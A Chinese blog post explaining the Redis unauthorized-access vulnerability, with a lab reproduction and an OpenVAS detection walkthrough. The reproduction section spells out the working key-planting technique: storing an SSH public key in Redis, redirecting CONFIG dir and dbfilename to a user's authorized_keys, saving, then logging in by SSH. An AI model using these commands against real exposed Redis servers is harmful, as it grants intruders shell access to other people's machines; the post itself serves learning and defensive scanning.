redis未授权访问漏洞

作者 折戟 日期 2019-04-15
redis未授权访问漏洞

redis未授权访问漏洞


了解漏洞

redis是什么?

通过查阅资料可知,redis即为key-value数据库中的一种。这有点用名词解释名词了,但是这有必要先解释一下key-value数据库。
Key-value数据库顾名思义就是利用键和数据值相对应存储的一种数据库,就类似于java中的map。我们整个数据库就可以看成一个大的map,在map中一个特地的key对应一个唯一的value。
同时我们redis作为key-value数据库的一种他支持很多很多的value的类型,redis也是一种内存型的数据库,所以可以提供高效率的读写,但同时他占用cpu将会很高。在内存上操作, 我们很容易想到数据的持久化的问题,不用担心,redis可以将数据持久化到硬盘中,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。
看看网上说的reids相对于其他key-value数据库的三大优点:
·Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
·Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
·Redis支持数据的备份,即master-slave模式的数据备份。

redis未授权访问漏洞

Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。

具体漏洞描述

Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致
Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

漏洞危害

如果攻击者进入了我们的redis服务器,他便可以自由下载数据库中的文件,造成信息泄露,造成个人隐私泄露或者公司机密泄露,造成巨大损害。同时如果攻击者进行提权获取更大的权限,还会产生更大的危害。
我尝试使用Shodan对公网上的开放的redis进行搜索(port:6379):
1.png
我们可以看到一共有87881个结果,其中我国位列榜首。。。。国人的安全意识还是有待提高。
看一下具体地图分布吧:
2.png
两次搜索数量有一点不一样。
3.png
榜首竟然是杭州阿里巴巴。

漏洞的复现和利用

安装redis(我采用源码安装)

首先下载源码然后编译安装

$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make

编译完成:
4.png

配置文件

在Src目录下,有四个可执行文件redis-server、redis-benchmark、redis-cli和redis.conf(这个在安装目录)。然后拷贝到一个目录下。

$ mkdir /usr/redis
$ cp redis-server /usr/redis
$ cp redis-benchmark /usr/redis
$ cp redis-cli /usr/redis
$ cp redis.conf /usr/redis
$ cd /usr/redis

开启redis服务

直接进入刚刚创建的redis文件夹后执行

$ ./redis-server ./redis.conf

5.png

检查是否成功开启

6.png

配置redis,使他处于漏洞状态

我直接开启了redis,此时没有认证,redis的默认就是这样,然后我只需要将redis更改绑定在0.0.0.0:6379就可以,在redis.conf里面更改就行了。
7.png

尝试使用namp扫描了一下我的6379端口

8.png
可以看到一下子就可扫描出信息,而且包含一下敏感信息。

尝试利用redis客户端进行未授权访问

9.png
果然,很成功就进入了,上门查看了主机信息(信息在下面,没截图)

开启公钥登录

生成公钥:

$ ssh-keygen -t rsa //rsa加密

10.png
然后将公钥写入文本:

$ cd ~/.ssh/
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt

将1.txt写入redis

$ cat 1.txt | /usr/redis/./redis-cli -h 127.0.0.1  -x set crack

利用redis客户端连接

$ ./redis-cli -h 127.0.0.1

获取redis备份路径,更改redis备份路径,设置备份文件的名称为authorized_key

$ CONFIG GET dir
$ CONFIG SET dir /home/r_song/.ssh //更改目录到r_song下
$ CONFIG SET dbfilename authorized_keys
$ CONFIG GET dbfilename //获取确认一下更改成功
$ Save //保存

然后用ssh进行连接即可(在.ssh路径执行,并先把我们虚拟机的ssh服务打开)

$ ssh –i  id_rsa ******@127.0.0.1

就可以成功登录。

使用openvas对我们存在漏洞的系统进行扫描

查扫描结果(在上一篇博客介绍了openvas)

12.png
从图中我们可以看到,redis-1我是使用默认的扫描方式,然后redis2是扫描的all tcp and namp 5.1 top100扫描的但是结果不一样。我们重点看redis2这个扫描结果:
13.png
可以看到扫描出了redis服务没有密码。

了解openvas使用的各种插件,即nvt是什么

Nvt(network vulnerability tests)即网络漏洞测试,是openvas中的免费的扫描插件。我可以在线同步获取这个插件(openvas-nvt-sync)或者离线下载。
14.png
这是我在官网上找到的openvas工作的图,可以看到,openvas的插件nvt是在openvas scanner提供服务的。nvt就是根据不同的需求调用nasl脚本进行检测。

对应扫描该漏洞的nvt是什么?

在扫描结果中可以找到nvt的名称,以及OID编号,在 http://www.openvas.org/openvas-nvt-feed.html 中可以根据OID编号查找对应nvt的文件名是什么,然后可以在/var/lib/openvas/plugins/目录下,找到该文件。
15.png
找到指定文件:
16.png
17.png
前面是这个nvt的一些信息,比如oid,version,还有危险评分等。Family是属于database的。基本这些都是信息。
18.png
主要就是后面几行,先获取了端口信息,确定端口是否打开:get_app_port()。然后使用get_kb_item(〈name〉)函数可以获得基本信息的〈name〉项的值,这个函数是匿名函数。通过测试no_password如果成功了就说明有这个漏洞,然后退出。后面是加密信息端口号。